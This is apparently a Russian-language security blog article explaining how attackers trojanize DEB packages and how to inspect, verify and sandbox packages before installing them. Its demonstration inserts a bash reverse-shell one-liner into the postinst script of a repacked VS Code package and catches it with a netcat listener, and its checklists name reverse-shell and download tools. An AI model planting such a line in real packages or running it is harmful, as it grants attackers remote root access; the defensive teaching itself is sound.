Гид по технологиям

Как DEB‑пакеты могут содержать бэкдоры и как от этого защититься

7 min read Безопасность Обновлено 29 Dec 2025
Как DEB пакеты скрывают бэкдоры и как защититься
Как DEB пакеты скрывают бэкдоры и как защититься

Человек в маске перед экраном ноутбука

О чём эта статья

В статье объясняется, из чего состоит DEB‑пакет, как злоумышленники встраивают бэкдоры в maintainer‑скрипты, почему обычные сканеры часто не замечают такие модификации и какие практические меры можно применить для проверки и безопасной установки пакетов на Debian‑производных дистрибутивах.

Важно: все команды в примерах выполняются локально. Не запускайте неизвестные бинарные файлы или скрипты с правами root без проверки.

Почему это важно

  • Установка DEB‑пакета с root‑правами даёт скриптам в каталоге DEBIAN возможность выполнить произвольный код. Это делает формат удобным для доставки ПО — и одновременно уязвимым к подмене.
  • Антивирусы и облачные сервисы часто не обнаруживают сложные или малозаметные бэкдоры.
  • Простая проверка содержимого пакета и использование подписей существенно снижают риск компрометации.

Как устроен DEB‑пакет — кратко

DEB — это архив ar, внутри которого обычно находятся: control.tar.gz (метаданные и maintainer‑скрипты), data.tar.xz (файлы пакета) и debian-binary (версия формата). Maintainer‑скрипты (preinst, postinst, prerm, postrm) выполняются при установке/удалении пакета с правами владельца процесса (обычно root).

1‑line definition: DEB — упакованный набор файлов и скриптов для установки на Debian‑производных системах.

Демонстрация атаки (что делают злоумышленники)

Автор исходного примера скачал официальный DEB‑пакет Visual Studio Code и распаковал его для демонстрации.

Оригинальная ссылка для скачивания: Visual Studio Code

Страница загрузки VS Code

Чтобы извлечь пакет, используют dpkg‑deb с флагом -R:

dpkg-deb -R  <путь_для_распаковки>

После распаковки интерес представляет папка DEBIAN — там лежат maintainer‑скрипты. Атакующий может изменить, например, postinst, добавив команду обратной оболочки (reverse shell). Пример вставки однострочной обратной оболочки в Bash:

bash -i >& /dev/tcp/127.0.0.1/42069 0>&1

Пояснение команды:

  • bash — запускает интерактивную оболочку.
  • -i — интерактивный режим, чтобы оболочка работала с вводом/выводом.
  • & /dev/tcp/IP/PORT — перенаправляет stdout/stderr в TCP‑сокет.

  • 0>&1 — делает stdin общим с тем же сокетом.

После модификации пакета его пересобирают:

dpkg --build <директория_с_распакованным_пакетом>
# или
dpkg-deb -b <директория_с_распакованным_пакетом>

Извлечение и каталог DEBIAN

Добавление строки обратной оболочки в postinst

Сборка модифицированного пакета

В сценарии атаки жертва устанавливает пакет командой:

sudo dpkg -i 

Атакующий слушает соединения, например, с помощью netcat:

nc -lvnp 42069

Демонстрация атаки: установка и подключение злоумышленника

Результат: постинсталляционный скрипт выполняется с правами root, злоумышленник получает удалённый доступ.

Почему антивирусы и VirusTotal часто не помогают

  • Подписанные и легитимно выглядящие бинарные файлы внутри пакета могут не содержать явных сигнатур вредоносного кода.
  • Малозаметные однострочные скрипты или шифрованные полезные нагрузки сложно детектировать сигнатурными движками.
  • VirusTotal и облачные сканеры анализируют файлы по известным образцам и эвристикам; кастомный или недавно созданный бэкдор с малой распространённостью может пройти незамеченным.

Пример: ClamAV и VirusTotal в демонстрации не отметили модифицированный пакет как вредоносный.

Результат сканирования ClamAV

Результаты проверки на VirusTotal

Important: отсутствие детекции не означает отсутствие угрозы.

Как безопасно проверять DEB‑пакет перед установкой

Ниже — практическая методика проверки пакета. Мини‑методология для анализа DEB:

  1. Проверить источник: официальный сайт разработчика или репозиторий дистрибутива.
  2. Сравнить хэш с опубликованным на официальном сайте (SHA256/MD5). Если подпись есть — верифицировать GPG‑подпись.
  3. Извлечь пакет и просмотреть содержимое каталога DEBIAN и скриптов.
  4. Проверить исполняемые файлы в data.tar.* на нестандартные SUID/SGID биты.
  5. Запустить пакет в изолированной среде (VM, контейнер) и наблюдать за сетевой активностью.
  6. При сомнениях — использовать альтернативные форматы (AppImage, Flatpak) или собрать из исходников.

Команды‑шпаргалка для инспекции:

# 1. Проверка архива ar структуры
ar t package.deb

# 2. Извлечение в папку
dpkg-deb -R package.deb /tmp/extracted_package

# 3. Просмотр maintainer скриптов
sed -n '1,200p' /tmp/extracted_package/DEBIAN/postinst

# 4. Проверка прав и SUID/SGID
find /tmp/extracted_package -perm /6000 -ls

# 5. Проверка цифровой подписи (если есть .changes/.dsc или GPG подпись)
# Обычно пакеты из официальных репозиториев подписаны через репозитории APT

# 6. Собрать пакет обратно после проверки
dpkg --build /tmp/extracted_package

SOP: Пошаговая инструкция перед установкой неизвестного DEB

  1. Не скачивать пакет с сомнительных сайтов.
  2. Сравнить SHA256 с источником; если нет хэша — насторожиться.
  3. Распаковать пакет и просмотреть все скрипты в DEBIAN на предмет сетевых вызовов, /dev/tcp, wget, curl, nc, bash -i и т. п.
  4. Проверить исполняемые бины на наличие обфускаций или запуска внешних процессов.
  5. При необходимости протестировать установку в гостевой VM, которая не подключена к корпоративной сети.
  6. Если пакет от проекта с открытым исходным кодом — рассмотреть сборку из исходников.
  7. Установить приёмы мониторинга: fw, auditd, SELinux/AppArmor профили.

Критерии приёмки

  • Пакет загружён с официального ресурса и/или файл подписан.
  • Скрипты DEBIAN не содержат сетевых исходящих вызовов или подозрительных команд.
  • Пройдена проверка хэша/подписи.
  • Тест в изолированной среде прошёл без побочных соединений.

Ролe‑ориентированные чеклисты

Пользователь:

  • Загружать из официальных источников.
  • Проверять хэш и отзывы сообщества.
  • Не запускать установщик с sudo без проверки.

Системный администратор:

  • Настроить репозитории APT и запрет установки локальных .deb без утверждения.
  • Включить централизованный мониторинг и EDR.
  • Организовать тестовую среду для проверки пакетов.

Разработчик/мейнтейнер пакета:

  • Подписывать пакеты GPG.
  • Публиковать хэши и инструкции по валидации.
  • Документировать сценарии установки и зависимости.

Сравнение форматов упаковки и их безопасность

  • DEB: интегрирован в систему, поддерживает скрипты установки с правами root. Уязвим, если источник ненадежен.
  • AppImage: самодостаточный образ приложения, запускается из-под пользователя; лучше изоляция, но не решает уязвимости внутри приложения.
  • Flatpak/Snap: ориентированы на изоляцию (sandbox), имеют модель разрешений и централизованные репозитории — обычно безопаснее для установки сторонних приложений.

Если вам важна безопасность — ищите приложения в Flatpak/Flathub или используйте контейнеры.

Типичные ошибки и когда защита может не сработать

  • Зависимость только от антивируса или VirusTotal — это слабая защита.
  • Слепая вера в «официальный сайт», если сайт скомпрометирован — вредоносный пакет может выглядеть легитимно.
  • Отсутствие изоляции при тестах: тестирование на машине с сетью и доступом к корпоративным ресурсам может привести к утечке данных.

План действий при обнаружении вредоносного DEB на компьютере (инцидент‑ранбук)

  1. Немедленно отключить систему от сети.
  2. Зафиксировать индикаторы компрометации (IP, процессы, файлы). Собрать логи.
  3. Откатить установку: попытаться удалить пакет через dpkg –remove и вернуть резервную копию конфигураций.
  4. Если есть подтверждённый remote shell — менять пароли и восстанавливать системные ключи.
  5. Провести полную форензическую проверку или восстановление из известной чистой резервной копии.

Rollback команды:

# Попытаться удалить пакет
sudo dpkg -r 
# Просмотреть оставшиеся файлы
dpkg -L 

Important: удаление пакета не гарантирует удаления привилегий, созданных ранним скриптом (например, может быть создан пользователь, крон‑задачи или SSH‑ключи). Форензика всегда предпочтительнее быстрого удаления.

Меры жёсткой защиты и повышение уровня безопасности

  • Ограничьте права: используйте PolicyKit и запрещайте установку локальных .deb обычным пользователям.
  • Включите AppArmor/SELinux и профилируйте процессы.
  • Разверните IDS/IPS и сетевой мониторинг для обнаружения исходящих соединений от неожиданных процессов.
  • Централизованно управляемые репозитории и подписанные пакеты уменьшают риск.

Шаблон проверки содержимого DEBIAN (чеклист)

  • Есть ли файлы preinst/postinst/prerm/postrm?
  • Есть ли упоминание /dev/tcp, nc, bash -i, curl, wget?
  • Есть ли вызовы запуска удалённых скриптов или base64|bash цепочки?
  • Присутствуют ли неожиданные добавления пользователей или ключей SSH?
  • Есть ли SUID/SGID исполняемых файлов?

Короткая галерея крайних случаев

  • Пакет, который выглядит легитимно, но postinst запускает зашифрованный полезный код через openssl/sgrep.
  • Скрипт, добавляющий cron‑job для восстановления бэкдора после удаления.
  • Модифицированный deb в официальном зеркале при компрометации CI/CD.

Термины в одну строку

  • DEB: формат пакета для Debian‑производных систем.
  • maintainer‑скрипты: preinst/postinst/prerm/postrm — скрипты, запускаемые при установке/удалении.
  • Reverse shell: оболочка, инициирующая исходящее соединение к атакующему.
  • GPG подпись: криптографическая подпись пакета/репозитория для проверки целостности и происхождения.

Приватность и соответствие требованиям (коротко)

Установка неизвестного ПО может привести к утечке персональных данных. В организациях проверяйте соответствие внутренним политикам и требованиям GDPR при обработке персональных данных: при компрометации возможен инцидент, требующий уведомления.

Решающее дерево принятия решения (Mermaid)

flowchart TD
  A[Есть ли подписанный репозиторий или GPG‑подпись?] -->|Да| B[Сравнить хэш и проверить содержимое DEBIAN]
  A -->|Нет| C[Распаковать и проанализировать локально]
  B --> D{Скрипты содержат сетевые вызовы?}
  C --> D
  D -->|Да| E[Не устанавливать; тестировать в изоляции]
  D -->|Нет| F[Проверка хэша пройдена?]
  F -->|Да| G[Можно установить с мониторингом]
  F -->|Нет| E

Примеры команд для блокировки и мониторинга сетевого поведения

# Ограничить исходящие соединения через iptables (пример)
sudo iptables -A OUTPUT -p tcp --dport 1:65535 -m owner ! --uid-owner 1000 -j DROP

# Просмотр новых соединений после установки
sudo ss -tunap | grep 

Короткое резюме

  • DEB‑пакеты содержат скрипты, выполняемые с root‑правами — это основной вектор для бэкдоров.
  • Антивирусы не дают полной гарантии безопасности; ручной анализ и верификация источника важнее.
  • Используйте проверенные источники, GPG‑подписи, тестовую среду и средства изоляции (Flatpak, AppImage, контейнеры).

Дополнительные рекомендации

  • Для приложений из ненадёжных источников предпочитайте AppImage/Flatpak или запуск в контейнере.
  • В организациях централизуйте установки через внутренние репозитории с подписанными пакетами.
  • Обучайте пользователей базовым признакам фишинга и сомнительных загрузок.

Итог

DEB‑пакет — удобный и мощный формат распространения ПО, но его сила — в возможности выполнять скрипты с привилегиями — же и делает его привлекательной мишенью для злоумышленников. Применяйте простые, но надёжные практики: проверка подписи/хэша, ручной просмотр скриптов, использование изолированных сред и репозиториев с подписанными пакетами.

Поделиться: X/Twitter Facebook LinkedIn Telegram
Автор
Редакция

Похожие материалы

Настройка заставки терминала в Linux
Терминал

Настройка заставки терминала в Linux

Этикет и правила приватных трекеров BitTorrent
Торренты

Этикет и правила приватных трекеров BitTorrent

Как сделать мем «Падение» с реакцией Гитлера
Мемы

Как сделать мем «Падение» с реакцией Гитлера

Проверить оригинальность подержанного iPhone
Гаджеты

Проверить оригинальность подержанного iPhone

Самодельные подставки для смартфона и плеера
Аксессуары DIY

Самодельные подставки для смартфона и плеера

Высокоусиленная Wi‑Fi антенна для дома
Wi‑Fi

Высокоусиленная Wi‑Fi антенна для дома